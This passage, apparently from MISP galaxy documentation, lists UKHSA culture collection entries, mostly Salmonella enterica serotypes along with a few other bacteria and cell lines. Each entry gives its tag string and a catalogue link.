https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-oxford

Salmonella enterica subsp. enterica serotype Austin

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Austin"*

Table 28723. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-austin

Salmonella enterica subsp. enterica serotype Denver

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Denver"*

Table 28724. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-denver

Salmonella enterica subsp. enterica serotype Belem

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Belem"*

Table 28725. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-belem

Salmonella enterica subsp. enterica serotype Eschweiler

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Eschweiler"*

Table 28726. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-eschweiler

Salmonella enterica subsp. salamae serotype Nachshonim

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Nachshonim"*

Table 28727. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-nachshonim

Salmonella enterica subsp. enterica serotype Kasenyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kasenyi"*

Table 28728. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kasenyi

Salmonella enterica subsp. enterica serotype Coquilhatville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Coquilhatville"*

Table 28729. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-coquilhatville

Salmonella enterica subsp. enterica serotype Wangata

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Wangata"*

Table 28730. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-wangata

Salmonella enterica subsp. enterica serotype Ituri

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ituri"*

Table 28731. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ituri

Salmonella enterica subsp. enterica serotype Cairo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Cairo"*

Table 28732. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cairo

Salmonella enterica subsp. salamae serotype Worcester

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Worcester"*

Table 28733. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-worcester

Salmonella enterica subsp. enterica serotype Johannesburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Johannesburg"*

Table 28734. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-johannesburg

Salmonella enterica subsp. enterica serotype Blukwa

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Blukwa"*

Table 28735. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-blukwa

Salmonella enterica subsp. enterica serotype Cairina

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Cairina"*

Table 28736. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cairina

Salmonella enterica subsp. enterica serotype Binza

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Binza"*

Table 28737. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-binza

Salmonella enterica subsp. enterica serotype Kimuenza

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kimuenza"*

Table 28738. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kimuenza

Salmonella enterica subsp. enterica serotype Schoeneberg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Schoeneberg"*

Table 28739. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-schoeneberg

Salmonella enterica subsp. enterica serotype Albuquerque

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Albuquerque"*

Table 28740. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-albuquerque

Salmonella enterica subsp. enterica serotype Alachua

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Alachua"*

Table 28741. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-alachua

Salmonella enterica subsp. enterica serotype Berkeley

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Berkeley"*

Table 28742. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-berkeley

Salmonella enterica subsp. enterica serotype Harrisonburg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Harrisonburg"*

Table 28743. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-harrisonburg

Salmonella enterica subsp. enterica serotype Cambridge

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Cambridge"*

Table 28744. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cambridge

Salmonella enterica subsp. enterica serotype Morehead

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Morehead"*

Table 28745. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-morehead

Salmonella enterica subsp. enterica serotype Abaetetuba

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Abaetetuba"*

Table 28746. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abaetetuba

Salmonella enterica subsp. enterica serotype Zega

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Zega"*

Table 28747. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-zega

Salmonella enterica subsp. enterica serotype Leopoldville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Leopoldville"*

Table 28748. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-leopoldville

Salmonella enterica subsp. enterica serotype Sanga

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sanga"*

Table 28749. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sanga

Salmonella enterica subsp. enterica serotype Tinda

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Tinda"*

Table 28750. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-tinda

Salmonella enterica subsp. enterica serotype Jerusalem

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Jerusalem"*

Table 28751. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-jerusalem

TF1

The tag is: *misp-galaxy:ukhsa-culture-collections="TF1"*

Table 28752. Table References

Links
https://www.culturecollections.org.uk/nop/product/tf1

Salmonella enterica subsp. enterica serotype Canoga

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Canoga"*

Table 28753. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-canoga

Salmonella enterica subsp. enterica serotype Allandale

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Allandale"*

Table 28754. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-allandale

Salmonella enterica subsp. enterica serotype Makiso

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Makiso"*

Table 28755. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-makiso

Salmonella enterica subsp. enterica serotype Kibusi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kibusi"*

Table 28756. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kibusi

Salmonella enterica subsp. enterica serotype Tallahassee

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Tallahassee"*

Table 28757. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-tallahassee

Salmonella enterica subsp. enterica serotype Mbandaka

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Mbandaka"*

Table 28758. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-mbandaka

Salmonella enterica subsp. enterica serotype Aequatoria

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Aequatoria"*

Table 28759. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-aequatoria

Salmonella enterica subsp. enterica serotype Atlanta

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Atlanta"*

Table 28760. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-atlanta

Salmonella enterica subsp. enterica serotype Menston

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Menston"*

Table 28761. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-menston

Salmonella enterica subsp. enterica serotype Colorado

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Colorado"*

Table 28762. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-colorado

Salmonella enterica subsp. enterica serotype Nottingham

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Nottingham"*

Table 28763. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-nottingham

Salmonella enterica subsp. enterica serotype Butantan

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Butantan"*

Table 28764. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-butantan

Salmonella enterica subsp. enterica serotype Corvallis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Corvallis"*

Table 28765. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-corvallis

Salmonella enterica subsp. enterica serotype Birkenhead

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Birkenhead"*

Table 28766. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-birkenhead

Salmonella enterica subsp. enterica serotype Takoradi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Takoradi"*

Table 28767. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-takoradi

Salmonella enterica subsp. enterica serotype Isangi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Isangi"*

Table 28768. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-isangi-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-isangi

Salmonella enterica subsp. enterica serotype Weslaco

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Weslaco"*

Table 28769. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-weslaco

Salmonella enterica subsp. enterica serotype Donna

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Donna"*

Table 28770. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-donna

Salmonella enterica subsp. enterica serotype Sanjuan

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sanjuan"*

Table 28771. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sanjuan

Salmonella enterica subsp. enterica serotype Illinois

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Illinois"*

Table 28772. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-illinois
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-illinois-2

Salmonella enterica subsp. enterica serotype Chandans

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Chandans"*

Table 28773. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-chandans

Salmonella enterica subsp. enterica serotype Memphis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Memphis"*

Table 28774. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-memphis

Salmonella enterica subsp. enterica serotype Stanleyville

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Stanleyville"*

Table 28775. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-stanleyville

Salmonella enterica subsp. enterica serotype Riogrande

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Riogrande"*

Table 28776. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-riogrande

Salmonella enterica subsp. enterica serotype Hidalgo

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Hidalgo"*

Table 28777. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-hidalgo

Salmonella enterica subsp. enterica serotype Texas

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Texas"*

Table 28778. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-texas

Salmonella enterica subsp. enterica serotype Marseille

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Marseille"*

Table 28779. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-marseille

Salmonella enterica subsp. enterica serotype Monschaui

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Monschaui"*

Table 28780. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-monschaui

Salmonella enterica subsp. enterica serotype Singapore

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Singapore"*

Table 28781. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-singapore

Salmonella enterica subsp. enterica serotype Kisangani

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kisangani"*

Table 28782. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kisangani

Salmonella enterica subsp. enterica serotype Chittagong

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Chittagong"*

Table 28783. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-chittagong

Salmonella enterica subsp. enterica serotype Brancaster

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Brancaster"*

Table 28784. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-brancaster

Salmonella enterica subsp. enterica serotype Manchester

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Manchester"*

Table 28785. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-manchester

Salmonella enterica subsp. enterica serotype Fayed

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Fayed"*

Table 28786. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-fayed

Salmonella enterica subsp. enterica serotype Orion

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Orion"*

Table 28787. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-orion

Streptococcus porcinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus porcinus"*

Table 28788. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-porcinus
https://www.culturecollections.org.uk/nop/product/streptococcus-porcinus-2
https://www.culturecollections.org.uk/nop/product/streptococcus-porcinus-3

Salmonella enterica subsp. houtenae serotype Wassenaar

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. houtenae serotype Wassenaar"*

Table 28789. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-houtenae-serotype-wassenaar

Salmonella enterica subsp. enterica serotype Shoreditch

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Shoreditch"*

Table 28790. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-shoreditch

Salmonella enterica subsp. enterica serotype Richmond

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Richmond"*

Table 28791. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-richmond

Salmonella enterica subsp. enterica serotype Luciana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Luciana"*

Table 28792. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-luciana

Salmonella enterica subsp. enterica serotype Senegal

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Senegal"*

Table 28793. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-senegal

Salmonella enterica subsp. enterica serotype Gatuni

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Gatuni"*

Table 28794. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gatuni

Salmonella enterica subsp. enterica serotype Daytona

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Daytona"*

Table 28795. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-daytona

Salmonella enterica subsp. enterica serotype Norwich

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Norwich"*

Table 28796. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-norwich

Salmonella enterica subsp. salamae serotype Canastel

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Canastel"*

Table 28797. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-canastel

Salmonella enterica subsp. enterica serotype Pensacola

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Pensacola"*

Table 28798. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pensacola

Salmonella enterica subsp. enterica serotype Napoli

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Napoli"*

Table 28799. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-napoli

Salmonella enterica subsp. enterica serotype Papuana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Papuana"*

Table 28800. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-papuana

Salmonella enterica subsp. enterica serotype Georgia

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Georgia"*

Table 28801. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-georgia

Salmonella enterica subsp. enterica serotype Solt

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Solt"*

Table 28802. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-solt

Salmonella enterica subsp. enterica serotype Schwarzengrund

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Schwarzengrund"*

Table 28803. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-schwarzengrund

Salmonella enterica subsp. enterica serotype Lomalinda

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lomalinda"*

Table 28804. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lomalinda

Salmonella enterica subsp. enterica serotype Inverness

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Inverness"*

Table 28805. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-inverness

Salmonella enterica subsp. enterica serotype Pomona

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Pomona"*

Table 28806. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pomona

Salmonella enterica subsp. enterica serotype Concord

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Concord"*

Table 28807. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-concord

Salmonella enterica subsp. enterica serotype Claibornei

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Claibornei"*

Table 28808. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-claibornei

Salmonella enterica subsp. enterica serotype Adelaide

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Adelaide"*

Table 28809. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-adelaide

Salmonella enterica subsp. enterica serotype Weltevreden

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Weltevreden"*

Table 28810. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-weltevreden

Salmonella enterica subsp. enterica serotype Grumpensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Grumpensis"*

Table 28811. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-grumpensis

COR-L24

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L24"*

Table 28812. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l24

Salmonella enterica subsp. enterica serotype Madelia

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Madelia"*

Table 28813. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-madelia

Salmonella enterica subsp. enterica serotype Bonariensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Bonariensis"*

Table 28814. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-bonariensis

Salmonella enterica subsp. enterica serotype Tennessee

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Tennessee"*

Table 28815. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-tennessee

Salmonella enterica subsp. enterica serotype Unnamed

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Unnamed"*

Table 28816. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-unnamed

Salmonella enterica subsp. enterica serotype Dusseldorf

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Dusseldorf"*

Table 28817. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-dusseldorf

Salmonella enterica subsp. enterica serotype Vejle

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Vejle"*

Table 28818. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-vejle

Salmonella enterica subsp. enterica serotype Goettingen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Goettingen"*

Table 28819. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-goettingen

Salmonella enterica subsp. enterica serotype Urbana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Urbana"*

Table 28820. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-urbana

Salmonella enterica subsp. enterica serotype Salinatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Salinatis"*

Table 28821. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-salinatis

Salmonella enterica subsp. enterica serotype Manhattan

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Manhattan"*

Table 28822. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-manhattan

Salmonella enterica subsp. enterica serotype Lexington

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Lexington"*

Table 28823. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-lexington

Salmonella enterica subsp. enterica serotype Arechavaleta

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Arechavaleta"*

Table 28824. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-arechavaleta-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-arechavaleta

Salmonella enterica subsp. enterica serotype Kaapstad

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kaapstad"*

Table 28825. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kaapstad

Salmonella enterica subsp. enterica serotype Durban

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Durban"*

Table 28826. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-durban

Salmonella enterica subsp. enterica serotype Pretoria

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Pretoria"*

Table 28827. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-pretoria

Lactobacillus sakei subsp. sakei

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus sakei subsp. sakei"*

Table 28828. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-sakei-subsp-sakei-2

Staphylococcus massiliensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus massiliensis"*

Table 28829. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-massiliensis

Vero (WHO)

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero (WHO)"*

Table 28830. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero-who

SUP-T1

The tag is: *misp-galaxy:ukhsa-culture-collections="SUP-T1"*

Table 28831. Table References

Links
https://www.culturecollections.org.uk/nop/product/sup-t1

Streptococcus peroris

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus peroris"*

Table 28832. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-peroris

Salmonella enterica subsp. enterica serotype Litchfield

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Litchfield"*

Table 28833. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-litchfield

Salmonella enterica subsp. enterica serotype Meleagridis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Meleagridis"*

Table 28834. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-meleagridis

Salmonella enterica subsp. enterica serotype Wichita

